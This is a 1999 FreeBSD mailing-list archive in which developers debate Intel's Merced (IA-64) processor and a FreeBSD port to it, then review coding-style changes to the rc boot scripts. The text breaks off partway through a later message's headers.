majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 6:24:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mission.mvnc.edu (mission.mvnc.edu [149.143.2.3]) by hub.freebsd.org (Postfix) with ESMTP id 7BB6D14E83; Fri, 27 Aug 1999 06:24:50 -0700 (PDT) (envelope-from kdrobnac@mission.mvnc.edu) Received: from localhost (kdrobnac@localhost) by mission.mvnc.edu (8.9.0/8.9.0) with SMTP id JAA01151; Fri, 27 Aug 1999 09:20:16 -0400 (EDT) Date: Fri, 27 Aug 1999 09:20:16 -0400 (EDT) From: Kenny Drobnack To: Thomas David Rivers Cc: freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org Subject: Re: Intel Merced FreeBSD??? In-Reply-To: <199908271229.IAA35280@lakes.dignus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > First - let me point out that FreeBSD already runs on the Alpha, > so there's some 64-bit experience. I knew that already :-) > But - for "Intel to hit it big" - they need Merced to become > the next consumer architecture. Since they are continuing with > plans for the IA32 line (what x86 got renamed to with the > advent of IA64, nee' merced) they are hedging their bets. > I don't believe they are convinced themselves that Merced will > be the answer to their dreams... Also, recall that Intel > launched Merced development when the idea was "bigger/faster > is better." Last year's sudden reversal of that idea > (i.e. Celeron as the answer to the AMD challenge) meant that > bigger was better is not (at this moment) the right answer. > Intel's requisite shift to lower-priced offerings likely > was a contributing cause to all of the Merced slips. Ah... If they are still doing their 64 bit line, well, that changes everything. I was under the impression that they would only be selling the 64 bit chips after those came out, and therefore anyone buying a new computer would have to get a 64 bit one. If 32 bit is still around, I'm sure people will go for the cheaper one, and of course developers are going to write for the one most people have, I think, unless they want to release 2 versions of everything.. Yeah right. Should be interesting to see what happens. > So - what Intel is facing is a chicken-and-egg problem. > They need to sell a lot of these things, but will need Windows > to do that. Microsoft won't bother with a Windows port until > there is a significant market need for it (I point to the > abandoned PPC and Alpha Windows ports as examples.) Hmm. i had completely forgot about PPC NT. Sounds yucky.. > And - let me add - Intel has been down this path before > (the i860) - and didn't see the success it wanted (although > the i860 is popping up in some interesting places now...) Um, which chip was this? I don't remember hearing about it. > I suppose what this "rant" is all about is that I'm not > convinced Merced is the "chip of the future" that we all > need to be worried about. I'm taking a "wait-and-see" > attitude. [Also, since Microsoft has been working > closely with Intel regarding Merced for several years > now, and has yet to do anything `serious' - I believe > they are taking the same "wait-and-see" approach. Likely > while telling Intel otherwise.] Way and see attitude is definitely good. Especially after the PIII. They hype it up, it costs twice as much as the PII and for what? A small performance increase and big brother hanging out on your CPU! I think if Intel doesn't make Merced really good, I'll be very unlikely to buy Intel again. In fact, when I upgraded my girlfriend's computer for her, I popped an AMD K6-2 in there.. > That doesn't mean I think we shouldn't have a FreeBSD port; > I would considering buying a Merced box if there was one > (although, I don't have an Alpha box, so maybe it would > never get past "consider".) Definitely should be a FreeBSD port to Merced! If lots of people do start buying them, and all that runs on them is Linux and NT, FreeBSD will kind of be left behind. Until the port comes out, that is... ----- We are now the Knights who say... "Ekki-Ekki-Ekki-Ekki-PTANG! Zoom-Boing! Z'nourrwringmm!" ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 6:25:15 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from netvisor.hu (mmtp89.mit.bme.hu [152.66.81.169]) by hub.freebsd.org (Postfix) with ESMTP id 5F86D15596; Fri, 27 Aug 1999 06:25:02 -0700 (PDT) (envelope-from szoli@netvisor.hu) Received: from localhost (szoli@localhost) by netvisor.hu (8.8.7/8.8.7) with ESMTP id PAA15359; Fri, 27 Aug 1999 15:58:57 +0200 Date: Fri, 27 Aug 1999 15:58:56 +0200 (CEST) From: Sebestyen Zoltan X-Sender: szoli@linux.intranet.netvisor.hu To: Jay West Cc: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? Intel? - NOT In-Reply-To: <000e01bef08b$3d606340$d402a8c0@ws2.tse.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-2 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Jay West wrote: > Keep in mind that the merced chip was not really designed or created by > Intel at all. >=20 > It was created almost completely by HP (by the same group responsible for > PA-RISC), with Intel as merely the production facilities. For obvious > marketing, competitive, and resource reasons both HP and Intel share the > rights to merced. >=20 Does that mean that Merced is heir of the PA-RISC design just like PowerPC is the heir of IBM POWER processor family's? ---------------------------------------------------------------------------= ----- Sebesty=E9n Zolt=E1n =09I'm believing that the Holy Spir= it is =09=09=09=09=09gonna allow the hand, and the foot, and MAKE INSTALL NOT WAR=09=09=09the mouth, just to begin to speak, and to minister, and to heal coordinate= d by =09=09=09=09=09the head. I use UNIX because reboots are for hardware upgrades. Kick me! Whip me!! Make me develop on AIX!!! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 6:32:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp2.vnet.net (smtp2.vnet.net [166.82.1.32]) by hub.freebsd.org (Postfix) with ESMTP id BE68715532; Fri, 27 Aug 1999 06:32:34 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from dignus.com (ponds.vnet.net [166.82.177.48]) by smtp2.vnet.net (8.9.1a/8.9.1) with ESMTP id JAA00829; Fri, 27 Aug 1999 09:32:23 -0400 (EDT) Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3]) by dignus.com (8.9.2/8.8.5) with ESMTP id JAA28277; Fri, 27 Aug 1999 09:32:22 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.9.2/8.6.9) id JAA37041; Fri, 27 Aug 1999 09:32:22 -0400 (EDT) Date: Fri, 27 Aug 1999 09:32:22 -0400 (EDT) From: Thomas David Rivers Message-Id: <199908271332.JAA37041@lakes.dignus.com> To: jlwest@tseinc.com, szoli@netvisor.hu Subject: Re: Intel Merced FreeBSD??? Intel? - NOT Cc: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG In-Reply-To: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Fri, 27 Aug 1999, Jay West wrote: > > > Keep in mind that the merced chip was not really designed or created by > > Intel at all. > >=20 > > It was created almost completely by HP (by the same group responsible for > > PA-RISC), with Intel as merely the production facilities. For obvious > > marketing, competitive, and resource reasons both HP and Intel share the > > rights to merced. > >=20 > Does that mean that Merced is heir of the PA-RISC design just like PowerPC > is the heir of IBM POWER processor family's? > Not actually - I understand that many people who worked on PA-RISC worked on the initial Merced design. But, the instruction sets/implementation are totally different. Merced can run PA-RISC and IA32 instructions via mode bits on the chip. It's not transparent. - Dave Rivers - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 7: 7:31 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gw-nl1.origin-it.com (gw-nl1.origin-it.com [193.79.128.34]) by hub.freebsd.org (Postfix) with ESMTP id C04D5154F1; Fri, 27 Aug 1999 07:07:17 -0700 (PDT) (envelope-from Hans.Zuidam@nl.origin-it.com) Received: from mail.nl.origin-it.com (localhost.origin-it.com [127.0.0.1]) by gw-nl1.origin-it.com with ESMTP id QAA01102; Fri, 27 Aug 1999 16:04:01 +0200 (MEST) (envelope-from Hans.Zuidam@nl.origin-it.com) Received: from mail.nl.origin-it.com(172.16.127.67) by gw-nl1.origin-it.com via mwrap (4.0a) id xma001100; Fri, 27 Aug 99 16:04:01 +0200 Received: from nlehx900.ehvovh.nl.origin-it.com (nlehx900.ehvovh.nl.origin-it.com [172.16.92.111]) by mail.nl.origin-it.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id QAA19696; Fri, 27 Aug 1999 16:04:01 +0200 (MET DST) Received: by nlehx900.ehvovh.nl.origin-it.com with Internet Mail Service (5.5.2448.0) id ; Fri, 27 Aug 1999 16:04:01 +0200 Message-ID: <9B7E8CE3E214D311A3050008C7A4BDDB0665DC@nlehx061.ehvvon.nl.origin-it.com> From: "Zuidam, Hans" To: "'Thomas David Rivers'" , jlwest@tseinc.com, szoli@netvisor.hu Cc: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: RE: Intel Merced FreeBSD??? Intel? - NOT Date: Fri, 27 Aug 1999 16:04:00 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, The IA64 (merced) is a kind of VLIW (Very Large Instruction Word) processor. It is basically a complete new kind of systems architecture with a i686 (and of course a i586, ..., 4004) slapped on the side. The original processor design was done by HP. See: The IA-64 Architecture at Work, IEEE Computer Vol. 31, No. 7, July 1998 for a more informed description ;-) of the processor. Hans -- Hans Zuidam e-mail: hans.zuidam@nl.origin-it.com Origin, BAS/AM-CE tel. +31 40 2735569 Gebouw SK-520 fax. +31 40 2736936 Glaslaan 2 5616 LW Eindhoven To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 7:16:30 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from broccoli.graphics.cornell.edu (broccoli.graphics.cornell.edu [128.84.247.53]) by hub.freebsd.org (Postfix) with ESMTP id A696914BE9; Fri, 27 Aug 1999 07:16:25 -0700 (PDT) (envelope-from mkc@Graphics.Cornell.EDU) Received: from graphics.cornell.edu (localhost.graphics.cornell.edu) by broccoli.graphics.cornell.edu with ESMTP (1.37.109.16/16.2) id AA097143240; Fri, 27 Aug 1999 10:14:01 -0400 Message-Id: <199908271414.AA097143240@broccoli.graphics.cornell.edu> X-Mailer: exmh version 2.0zeta 7/24/97 To: Kenny Drobnack Cc: Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? In-Reply-To: Your message of "Fri, 27 Aug 1999 09:20:16 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 27 Aug 1999 10:14:00 -0400 From: Mitch Collinsworth Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> But - for "Intel to hit it big" - they need Merced to become >> the next consumer architecture. Since they are continuing with >> plans for the IA32 line (what x86 got renamed to with the >> advent of IA64, nee' merced) they are hedging their bets. >> I don't believe they are convinced themselves that Merced will >> be the answer to their dreams... > > Ah... If they are still doing their 64 bit line, well, that >changes everything. I was under the impression that they would only be >selling the 64 bit chips after those came out, and therefore anyone buying >a new computer would have to get a 64 bit one. If 32 bit is still around, >I'm sure people will go for the cheaper one, Well, hobbyists and savvy bang-for-the-buck may take 32 over 64 if the bang isn't there, but nowadays that is far from the entire market of purchasers. You're overlooking the status symbol buyers who just have to have the latest/greatest and/or something better than the guy next door. I recall a conversation not long ago with a sysadmin in the business school here. I was asking what their typical laptop configuration was and was told that some members of their faculty were quite particular about finding out what their colleagues machines had and then making sure theirs was more/better/faster, etc. I highly doubt this kind of purchasing only happens here. :-) > Definitely should be a FreeBSD port to Merced! If lots of people >do start buying them, and all that runs on them is Linux and NT, FreeBSD >will kind of be left behind. Until the port comes out, that is... ?? I thought we had already established that neither Linux or NT runs on Merced, only HP-UX so far. I would certainly like to see a FBSD port as I imagine we will be seeing Merced-based systems here quite early on. -Mitch To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 7:23:20 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from penelope.skunk.org (penelope.skunk.org [208.133.204.51]) by hub.freebsd.org (Postfix) with ESMTP id 83619154E7; Fri, 27 Aug 1999 07:23:15 -0700 (PDT) (envelope-from ben@penelope.skunk.org) Received: from localhost (ben@localhost) by penelope.skunk.org (8.9.3/8.9.3) with ESMTP id KAA63320; Fri, 27 Aug 1999 10:23:42 -0400 (EDT) Date: Fri, 27 Aug 1999 10:23:42 -0400 (EDT) From: Ben Rosengart To: Mitch Collinsworth Cc: Kenny Drobnack , Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? In-Reply-To: <199908271414.AA097143240@broccoli.graphics.cornell.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Mitch Collinsworth wrote: > ?? I thought we had already established that neither Linux or NT runs > on Merced, only HP-UX so far. "Merced silicon happens: Linux runs, NT doesn't" http://www.theregister.co.uk/990826-000003.html -- Ben UNIX Systems Engineer, Skunk Group StarMedia Network, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 7:29:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from broccoli.graphics.cornell.edu (broccoli.graphics.cornell.edu [128.84.247.53]) by hub.freebsd.org (Postfix) with ESMTP id 906461551A; Fri, 27 Aug 1999 07:29:43 -0700 (PDT) (envelope-from mkc@Graphics.Cornell.EDU) Received: from graphics.cornell.edu (localhost.graphics.cornell.edu) by broccoli.graphics.cornell.edu with ESMTP (1.37.109.16/16.2) id AA098414169; Fri, 27 Aug 1999 10:29:30 -0400 Message-Id: <199908271429.AA098414169@broccoli.graphics.cornell.edu> X-Mailer: exmh version 2.0zeta 7/24/97 To: Ben Rosengart Cc: Mitch Collinsworth , Kenny Drobnack , Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? In-Reply-To: Your message of "Fri, 27 Aug 1999 10:23:42 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 27 Aug 1999 10:29:29 -0400 From: Mitch Collinsworth Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> ?? I thought we had already established that neither Linux or NT runs >> on Merced, only HP-UX so far. > >"Merced silicon happens: Linux runs, NT doesn't" > >http://www.theregister.co.uk/990826-000003.html I sit corrected. Thanks! -Mitch To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 7:38:24 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mission.mvnc.edu (mission.mvnc.edu [149.143.2.3]) by hub.freebsd.org (Postfix) with ESMTP id B2E981550C; Fri, 27 Aug 1999 07:38:21 -0700 (PDT) (envelope-from kdrobnac@mission.mvnc.edu) Received: from localhost (kdrobnac@localhost) by mission.mvnc.edu (8.9.0/8.9.0) with SMTP id KAA04654; Fri, 27 Aug 1999 10:35:17 -0400 (EDT) Date: Fri, 27 Aug 1999 10:35:17 -0400 (EDT) From: Kenny Drobnack To: Sebestyen Zoltan Cc: Jay West , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? Intel? - NOT In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Actually, I was reading in a newsgroup, the VMS newsgroup I think it was, that the PA-RISC chip is on the Merced chip. Basically, Intel will sell Merced's with the chip disabled (kind of like the math co-processor on the 486 SX's) and HP will sell it with the PA-RISC chip enabled so it can run HP-UX.=20 =20 > > Keep in mind that the merced chip was not really designed or created by > > Intel at all. > >=20 > > It was created almost completely by HP (by the same group responsible f= or > > PA-RISC), with Intel as merely the production facilities. For obvious > > marketing, competitive, and resource reasons both HP and Intel share th= e > > rights to merced. > >=20 > Does that mean that Merced is heir of the PA-RISC design just like PowerP= C > is the heir of IBM POWER processor family's? >=20 > -------------------------------------------------------------------------= ------- > Sebesty=E9n Zolt=E1n =09I'm believing that the Holy Sp= irit is > =09=09=09=09=09gonna allow the hand, and the foot, and > MAKE INSTALL NOT WAR=09=09=09the mouth, just to begin to speak, and > to minister, and to heal coordina= ted by > =09=09=09=09=09the head. >=20 > I use UNIX because reboots are for hardware upgrades. >=20 > Kick me! Whip me!! Make me develop on AIX!!! >=20 >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message >=20 ----- =20 We are now the Knights who say...=20 =09"Ekki-Ekki-Ekki-Ekki-PTANG! Zoom-Boing! Z'nourrwringmm!" ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 7:39:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mission.mvnc.edu (mission.mvnc.edu [149.143.2.3]) by hub.freebsd.org (Postfix) with ESMTP id 063CA1550C; Fri, 27 Aug 1999 07:39:33 -0700 (PDT) (envelope-from kdrobnac@mission.mvnc.edu) Received: from localhost (kdrobnac@localhost) by mission.mvnc.edu (8.9.0/8.9.0) with SMTP id KAA04693; Fri, 27 Aug 1999 10:36:30 -0400 (EDT) Date: Fri, 27 Aug 1999 10:36:30 -0400 (EDT) From: Kenny Drobnack To: Mitch Collinsworth Cc: Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? In-Reply-To: <199908271414.AA097143240@broccoli.graphics.cornell.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Well, hobbyists and savvy bang-for-the-buck may take 32 over 64 if the > bang isn't there, but nowadays that is far from the entire market of > purchasers. You're overlooking the status symbol buyers who just have to > have the latest/greatest and/or something better than the guy next door. > I recall a conversation not long ago with a sysadmin in the business > school here. I was asking what their typical laptop configuration was > and was told that some members of their faculty were quite particular > about finding out what their colleagues machines had and then making > sure theirs was more/better/faster, etc. I highly doubt this kind of > purchasing only happens here. :-) Good point. I know it happens, but is it the majority of the market? ----- We are now the Knights who say... "Ekki-Ekki-Ekki-Ekki-PTANG! Zoom-Boing! Z'nourrwringmm!" ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 7:53:11 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from broccoli.graphics.cornell.edu (broccoli.graphics.cornell.edu [128.84.247.53]) by hub.freebsd.org (Postfix) with ESMTP id 23C1B15EB9; Fri, 27 Aug 1999 07:52:45 -0700 (PDT) (envelope-from mkc@Graphics.Cornell.EDU) Received: from graphics.cornell.edu (localhost.graphics.cornell.edu) by broccoli.graphics.cornell.edu with ESMTP (1.37.109.16/16.2) id AA099545405; Fri, 27 Aug 1999 10:50:06 -0400 Message-Id: <199908271450.AA099545405@broccoli.graphics.cornell.edu> X-Mailer: exmh version 2.0zeta 7/24/97 To: Kenny Drobnack Cc: Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? In-Reply-To: Your message of "Fri, 27 Aug 1999 10:36:30 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 27 Aug 1999 10:50:05 -0400 From: Mitch Collinsworth Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> Well, hobbyists and savvy bang-for-the-buck may take 32 over 64 if the >> bang isn't there, but nowadays that is far from the entire market of >> purchasers. You're overlooking the status symbol buyers who just have to >> have the latest/greatest and/or something better than the guy next door. >> I recall a conversation not long ago with a sysadmin in the business >> school here. I was asking what their typical laptop configuration was >> and was told that some members of their faculty were quite particular >> about finding out what their colleagues machines had and then making >> sure theirs was more/better/faster, etc. I highly doubt this kind of >> purchasing only happens here. :-) > > Good point. I know it happens, but is it the majority of the >market? Who knows? But what's so important about being a majority? There's plenty of money to be made in selling to a significant market share that doesn't numerically constitute a majority. Besides, there's much greater mark-up potential in the status symbol market than the bang-for-buck market. Just ask Nike... -Mitch To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 8:25:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from pau-amma.whistle.com (pau-amma.whistle.com [207.76.205.64]) by hub.freebsd.org (Postfix) with ESMTP id BEDDE15461; Fri, 27 Aug 1999 08:25:21 -0700 (PDT) (envelope-from dhw@whistle.com) Received: (from dhw@localhost) by pau-amma.whistle.com (8.9.2/8.9.2) id IAA19196; Fri, 27 Aug 1999 08:25:18 -0700 (PDT) Date: Fri, 27 Aug 1999 08:25:18 -0700 (PDT) From: David Wolfskill Message-Id: <199908271525.IAA19196@pau-amma.whistle.com> To: kdrobnac@mission.mvnc.edu, rivers@dignus.com Subject: Re: Intel Merced FreeBSD??? Cc: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG In-Reply-To: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Date: Fri, 27 Aug 1999 09:20:16 -0400 (EDT) >From: Kenny Drobnack >> And - let me add - Intel has been down this path before >> (the i860) - and didn't see the success it wanted (although >> the i860 is popping up in some interesting places now...) > Um, which chip was this? I don't remember hearing about it. It's a processor that tends to be used in embedded systems, such as (PostScript-capable) printers, if I recall correctly. Re: the "32-bit is passe' when IA64 comes out" perspective: don't overlook embedded systems. Microwave ovens, VCRs, thermostats, automobiles... and that's barely the beginning. (When I worked for a small firm that provided support for gcc, primarily for the embedded systems market, the most popular combination was a port of gcc to run on a PC under MS-DOS, generating code to run on the m68k.) Sorry about the cross-post; I'll be quiet now. Cheers, david -- David Wolfskill dhw@whistle.com UNIX System Administrator voice: (650) 577-7158 pager: (888) 347-0197 FAX: (650) 372-5915 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 8:49:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from jumping-spider.aracnet.com (jumping-spider.aracnet.com [205.159.88.14]) by hub.freebsd.org (Postfix) with ESMTP id 2B84F1530C; Fri, 27 Aug 1999 08:49:34 -0700 (PDT) (envelope-from beattie@aracnet.com) Received: from shell2.aracnet.com (IDENT:1728@shell2.aracnet.com [216.99.193.20]) by jumping-spider.aracnet.com (8.9.3/8.9.3) with ESMTP id IAA27516; Fri, 27 Aug 1999 08:48:02 -0700 Received: from localhost by shell2.aracnet.com (8.8.7) id IAA02102; Fri, 27 Aug 1999 08:48:03 -0700 X-Authentication-Warning: shell2.aracnet.com: beattie owned process doing -bs Date: Fri, 27 Aug 1999 08:48:03 -0700 (PDT) From: Brian Beattie To: David Wolfskill Cc: kdrobnac@mission.mvnc.edu, rivers@dignus.com, freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? In-Reply-To: <199908271525.IAA19196@pau-amma.whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, David Wolfskill wrote: > >Date: Fri, 27 Aug 1999 09:20:16 -0400 (EDT) > >From: Kenny Drobnack > > >> And - let me add - Intel has been down this path before > >> (the i860) - and didn't see the success it wanted (although > >> the i860 is popping up in some interesting places now...) > > > Um, which chip was this? I don't remember hearing about it. > > It's a processor that tends to be used in embedded systems, such as > (PostScript-capable) printers, if I recall correctly. > The i960 is the processor that is used in embedded systems. The i860 was intended as a general purpose CPU and had very good (for it's time) floating point. The i960 was designed as an embeded CPU. The ia32 line will outperform (by quite a bit) the ia64 line until, at least the introduction of Mckinley(sp?), which is the second ia64 chip. This will not be until 02 I think, coudl be 03. The ia32 line still has a number of years of life left in it in the desktop and server market. Only people who really need a 64bit address space, and those who want the latest cool thing will buy Merced based systems. But then I'm still running a 486 and a couple of sub 200MHz Cyrix based systems :) Brian Beattie | The only problem with beattie@aracnet.com | winning the rat race ... www.aracnet.com/~beattie | in the end you're still a rat To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 9: 3:18 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dorifer.heim3.tu-clausthal.de (dorifer.heim3.tu-clausthal.de [139.174.243.252]) by hub.freebsd.org (Postfix) with ESMTP id 5778214D5D for ; Fri, 27 Aug 1999 09:03:05 -0700 (PDT) (envelope-from olli@dorifer.heim3.tu-clausthal.de) Received: (from olli@localhost) by dorifer.heim3.tu-clausthal.de (8.8.8/8.8.8) id SAA07506 for freebsd-hackers@FreeBSD.ORG; Fri, 27 Aug 1999 18:02:56 +0200 (CEST) (envelope-from olli) Date: Fri, 27 Aug 1999 18:02:56 +0200 (CEST) From: Oliver Fromme Message-Id: <199908271602.SAA07506@dorifer.heim3.tu-clausthal.de> To: freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes Organization: Administration Heim 3 Reply-To: olli@incogni.to MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Newsreader: TIN [version 1.2 RZTUC(3) PL2] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sheldon Hearn wrote in list.freebsd-hackers: > What follows is a diff that presents Doug's changes (which must have > required quite a bit of effort, thanks!) Yeah -- Thanks Doug! > Specifically, case statements look more like what a lot of folks are > used to seeing, and conditionals that don't need to be case sensitive > have not been converted to case statements. The case statements have another advantage over if/test -- case is a shell-builtin, test is not. Therefore, "case" is more efficient. I'd vote for using "case" instead of if/test where possible. > I think the effort which Doug has put into this is great and would make > for a better rc. It's a pity that a few cosmetic issues generated so > much pooh-pooh'ing. :-( I'm very sorry that the suggestions in my previous mail caused a wrong impression. I appreciate Doug's work very much. Regards Oliver -- Oliver Fromme, Leibnizstr. 18/61, 38678 Clausthal, Germany (Info: finger userinfo:olli@dorifer.heim3.tu-clausthal.de) "In jedem Stück Kohle wartet ein Diamant auf seine Geburt" (Terry Pratchett) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 9:19:35 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 5720214E71 for ; Fri, 27 Aug 1999 09:19:30 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id JAA71333 for ; Fri, 27 Aug 1999 09:18:14 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C6BA49.28A1140B@gorean.org> Date: Fri, 27 Aug 1999 09:18:17 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0826 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes References: <199908271052.MAA02639@dorifer.heim3.tu-clausthal.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Oliver Fromme wrote: > > Doug wrote in list.freebsd-hackers: > > [...] > > 2. value ) instead of value) for case statements > > [...] > > case $? in > > - 0) > > + 0 ) > > ;; > > - 2) > > + 2 ) > > exit 1 > > ;; > > - 4) > > + 4 ) > > reboot > > echo "reboot failed... help!" > > exit 1 > > ;; > > [...] > > Why?!? I like the existing "case" style _much_ better, > it's more readable and emphasizes the structure. Ok, universal acclaim in both public and private mail is for: case $foo in optinon ) as opposed to: case $foo in option ) so I'll modify that one. It actually improves readability in some cases, although the latter is a matter of personal style. I would really prefer to stick with option ) vs. option) though, but if it becomes a show-stopper I can compromise on that one too. All I ask is that people give it a chance first. :) Keep those cards and letters coming, Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 9:46:23 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 6D0DC14C1E for ; Fri, 27 Aug 1999 09:46:19 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.8/8.8.8) with SMTP id KAA07532 for ; Fri, 27 Aug 1999 10:44:01 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id KAA24087; Fri, 27 Aug 1999 10:44:01 -0600 Date: Fri, 